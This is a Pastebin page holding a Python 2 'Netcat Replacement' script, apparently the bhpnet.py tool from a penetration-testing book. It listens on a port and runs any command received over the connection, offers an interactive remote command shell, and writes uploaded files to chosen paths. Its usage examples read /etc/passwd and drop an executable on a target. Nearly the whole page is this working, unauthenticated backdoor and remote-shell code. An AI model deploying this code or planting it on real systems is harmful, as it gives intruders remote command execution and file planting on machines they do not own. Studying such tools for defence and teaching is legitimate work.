Advertisement
Guest User

PythonNC

a guest
Dec 16th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.54 KB | None | 0 0
  1. #!/opt/local/bin/python2.7
  2.  
  3. import sys
  4. import socket
  5. import getopt
  6. import threading
  7. import subprocess
  8.  
  9. listen             = False
  10. command            = False
  11. upload             = False
  12. execute            = ""
  13. target             = ""
  14. upload_destination = ""
  15. port               = 0
  16.  
  17. def run_command(command):
  18.  
  19.         command = command.rstrip()
  20.  
  21.         try:
  22.                 output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
  23.         except:
  24.                 output = "Failed to execute command.\r\n"
  25.  
  26.         return output
  27.  
  28. def client_handler(client_socket):
  29.         global upload
  30.         global execute
  31.         global command
  32.  
  33.         if len(upload_destination):
  34.  
  35.                 file_buffer = ""
  36.  
  37.                 while True:
  38.                         data = client_socket.recv(1024)
  39.  
  40.                         if not data:
  41.                                 break
  42.                         else:
  43.                                 file_buffer += data
  44.  
  45.                 try:
  46.                         file_descriptor = open(upload_destination,"wb")
  47.                         file_descriptor.write(file_buffer)
  48.                         file_descriptor.close()
  49.  
  50.                         client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
  51.                 except:
  52.                         client_socket.send("Failed to save file to %s\r\n" % upload_destination)
  53.  
  54.         if len(execute):
  55.                 output = run_command(execute)
  56.  
  57.                 client_socket.send(output)
  58.         if command:
  59.  
  60.                 while True:
  61.                         client_socket.send("server>")
  62.  
  63.                         cmd_buffer = ""
  64.                         while "\n" not in cmd_buffer:
  65.                                 cmd_buffer += client_socket.recv(1024)
  66.  
  67.                         response = run_command(cmd_buffer)
  68.  
  69.                         client_socket.send(response)
  70. def server_loop():
  71.         global target
  72.         global port
  73.         if not len(target):
  74.                 target = "0.0.0.0"
  75.  
  76.         server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  77.         server.bind((target,port))
  78.  
  79.         server.listen(5)
  80.  
  81.         while True:
  82.                 client_socket, addr = server.accept()
  83.                 client_thread = threading.Thread(target=client_handler,args=(client_socket,))
  84.                 client_thread.start()
  85.  
  86. def client_sender(buffer):
  87.  
  88.         client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  89.  
  90.         try:
  91.                 client.connect((target,port))
  92.  
  93.                 if len(buffer):
  94.  
  95.                         client.send(buffer)
  96.  
  97.                 while True:
  98.  
  99.                         recv_len = 1
  100.                         response = ""
  101.  
  102.                         while recv_len:
  103.                                 data     = client.recv(4096)
  104.                                 recv_len = len(data)
  105.                                 response+= data
  106.  
  107.                                 if recv_len < 4096:
  108.                                         break
  109.  
  110.                         print response,
  111.  
  112.                         buffer = raw_input("")
  113.                         buffer += "\n"
  114.  
  115.                         # send it off
  116.                         client.send(buffer)
  117.  
  118.  
  119.         except:
  120.                 print "[*] Exception! Exiting."
  121.  
  122.                 client.close()
  123.  
  124.  
  125.  
  126.  
  127. def usage():
  128.         print "Netcat Replacement"
  129.         print
  130.         print "Usage: nc.py -t target_host -p port"
  131.         print "-l --listen                - listen on [host]:[port] for incoming connections"
  132.         print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
  133.         print "-c --command               - initialize a command shell"
  134.         print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
  135.         print
  136.         print
  137.         print "Examples: "
  138.         print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
  139.         print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
  140.         print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
  141.         print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
  142.         sys.exit(0)
  143.  
  144.  
  145. def main():
  146.         global listen
  147.         global port
  148.         global execute
  149.         global command
  150.         global upload_destination
  151.         global target
  152.  
  153.         if not len(sys.argv[1:]):
  154.                 usage()
  155.  
  156.         try:
  157.                 opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
  158.         except getopt.GetoptError as err:
  159.                 print str(err)
  160.                 usage()
  161.  
  162.  
  163.         for o,a in opts:
  164.                 if o in ("-h","--help"):
  165.                         usage()
  166.                 elif o in ("-l","--listen"):
  167.                         listen = True
  168.                 elif o in ("-e", "--execute"):
  169.                         execute = a
  170.                 elif o in ("-c", "--commandshell"):
  171.                         command = True
  172.                 elif o in ("-u", "--upload"):
  173.                         upload_destination = a
  174.                 elif o in ("-t", "--target"):
  175.                         target = a
  176.                 elif o in ("-p", "--port"):
  177.                         port = int(a)
  178.                 else:
  179.                         assert False,"Unhandled Option"
  180.  
  181.         if not listen and len(target) and port > 0:
  182.  
  183.                 buffer = sys.stdin.read()
  184.  
  185.                 client_sender(buffer)
  186.  
  187.         if listen:
  188.                 server_loop()
  189.  
  190. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement